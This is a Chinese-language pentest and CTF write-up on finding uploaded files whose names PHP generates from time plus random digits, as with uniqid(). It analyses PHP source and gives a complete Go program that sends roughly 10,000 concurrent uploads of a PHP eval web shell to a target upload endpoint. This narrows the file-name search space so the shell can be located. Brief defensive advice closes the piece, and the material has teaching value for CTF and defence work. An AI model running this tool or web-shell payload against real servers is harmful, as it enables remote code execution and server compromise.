一秒找出用时间和随机数生成的上传文件名
字数 1189 2025-08-18 11:37:03
高效定位时间+随机数生成的上传文件名技术详解
一、问题背景
在渗透测试或CTF比赛中,常遇到一种任意文件上传漏洞,上传后的文件名由时间加随机数生成。常见生成方式包括:
- PHP的
uniqid()函数 - 时间戳或秒数+随机数字组合
传统暴力猜解方法(如HEAD请求遍历)面对百万级可能性时效率低下(1-2小时),需要更高效的解决方案。
二、技术原理分析
1. PHP uniqid()函数实现机制
通过分析PHP源码(uniqid.c)可知:
do {
(void)gettimeofday((struct timeval *) &tv, (struct timezone *) NULL);
} while (tv.tv_sec == prev_tv.tv_sec && tv.tv_usec == prev_tv.tv_usec);
prev_tv.tv_sec = tv.tv_sec;
prev_tv.tv_usec = tv.tv_usec;
sec = (int) tv.tv_sec;
usec = (int) (tv.tv_usec % 0x100000);
if (more_entropy) {
uniqid = strpprintf(0, "%s%08x%05x%.8F", prefix, sec, usec, php_combined_lcg() * 10);
} else {
uniqid = strpprintf(0, "%s%08x%05x", prefix, sec, usec);
}
文件名组成结构:
- 前缀(如"image_")
- 8位16进制秒数(固定部分)
- 5位16进制微秒数(变化部分,模0x100000)
- 可选额外熵值(当more_entropy为true时)
2. 文件名可能性计算
标准uniqid()生成的文件名:
- 微秒部分变化范围:16^5 = 1,048,576种可能性
- 每秒最多生成1,000,000个唯一ID(理论值)
三、高效解决方案
1. 核心思路:并发上传提高命中率
通过在一秒内上传多个文件:
- 每个文件使用相同的秒数部分
- 微秒部分自然变化
- 相当于将百万级搜索空间压缩到千级
2. 技术实现细节
使用Go语言实现并发上传
package main
import (
"bytes"
"fmt"
"log"
"mime/multipart"
"net/http"
"os"
"path/filepath"
"time"
"sync"
)
func newfileUploadRequest(uri string, params map[string]string, paramName, localfile string) (*http.Request, error) {
payload := []byte(`<?php eval($_POST[c]);`)
body := &bytes.Buffer{}
writer := multipart.NewWriter(body)
part, err := writer.CreateFormFile(paramName, filepath.Base(localfile))
if err != nil {
return nil, err
}
part.Write(payload)
for key, val := range params {
_ = writer.WriteField(key, val)
}
err = writer.Close()
if err != nil {
return nil, err
}
req, err := http.NewRequest("POST", uri, body)
if err != nil {
return nil, err
}
req.Header.Set("Content-Type", writer.FormDataContentType())
req.Header.Set("Connection", "close")
return req, nil
}
var total int
var result map[int64]int
func main() {
start := time.Now()
filename := "file"
filepath, _ := os.Getwd()
filepath += "/shell.php"
result = make(map[int64]int, 10)
wg := &sync.WaitGroup{}
lock := &sync.Mutex{}
done := make(chan struct{}, 256) // 最大并发256
for i := 0; i < 10000; i++ {
done <- struct{}{}
if i%64 == 0 {
time.Sleep(10 * time.Millisecond)
}
wg.Add(1)
go doUpload(filename, filepath, nil, wg, lock)
<-done
}
wg.Wait()
used := time.Since(start)
fmt.Printf("[*] done.\n[*] %d file uploaded. time used: %.2f\n", total, used.Seconds())
for sec, cnt := range result {
fmt.Printf("[*] %08x : %d\n", sec, cnt)
}
}
func doUpload(filename, filepath string, params map[string]string, wg *sync.WaitGroup, lock *sync.Mutex) {
defer wg.Done()
code, date, err := upload(filename, filepath, params)
if err != nil {
log.Println(err)
return
}
if err == nil && code == 200 {
lock.Lock()
total++
key := date.Unix()
if cnt, has := result[key]; has {
result[key] = cnt + 1
} else {
result[key] = 1
}
lock.Unlock()
}
}
func upload(filename string, filepath string, params map[string]string) (code int, date time.Time, err error) {
request, err := newfileUploadRequest("http://ctf/up.php", params, filename, filepath)
if err != nil {
log.Println(err)
return
}
timeout := time.Duration(5 * time.Second)
client := &http.Client{
Timeout: timeout,
}
resp, err := client.Do(request)
if err != nil {
log.Println(err)
return
}
code = resp.StatusCode
datestring := resp.Header.Get("Date")
if datestring != "" {
loc, _ := time.LoadLocation("Asia/Shanghai")
LongForm := `Mon, 02 Jan 2006 15:04:05 MST`
date, _ = time.Parse(LongForm, datestring)
}
defer resp.Body.Close()
return
}
关键优化点
-
并发控制:
- 使用sync.WaitGroup管理goroutine
- 通过带缓冲的channel限制最大并发数(示例中为256)
- 每64次上传后短暂休眠(10ms)防止过载
-
性能优化:
- 设置
Connection: close头部避免连接复用限制 - 将上传内容保存在内存中而非读取文件
- 使用sync.Mutex保护共享数据
- 设置
-
时间同步:
- 从服务器响应头获取Date字段确认秒数
- 使用相同的时间格式解析
3. 实际效果
测试环境:
- 本地:16G内存+i7 CPU笔记本+nginx+php7.0-fpm
- VPS:300ms ping延迟
性能数据:
- 本地:1秒内上传5700+文件,约956次请求找到结果(0.1秒)
- VPS:1秒内上传1500文件
- 搜索空间压缩:16^5/1500 ≈ 699个可能性
四、其他应用场景
该方法同样适用于以下文件名生成方式:
$newfile = date("dHis").rand(10000, 99999).$extension;
只需调整:
- 根据日期格式确定固定部分
- 针对随机数部分进行并发上传
五、注意事项
-
服务器限制:
- 注意目标服务器的并发连接限制
- 避免触发DoS保护机制
-
网络优化:
- 设置/etc/hosts减少DNS查询
- 考虑直接使用TCP socket可能更快
-
时间精度:
- 确保客户端与服务器时间同步
- 处理可能的时区差异
-
结果验证:
- 成功上传后需要验证文件是否可访问
- 可能需要结合目录遍历等技术确认上传位置
六、防御建议
针对此类攻击,服务器可采取以下防护措施:
- 使用更强的随机数生成算法
- 限制单IP上传频率
- 对上传文件进行重命名时加入用户特定信息(如session ID)
- 实施文件内容检查而非依赖文件名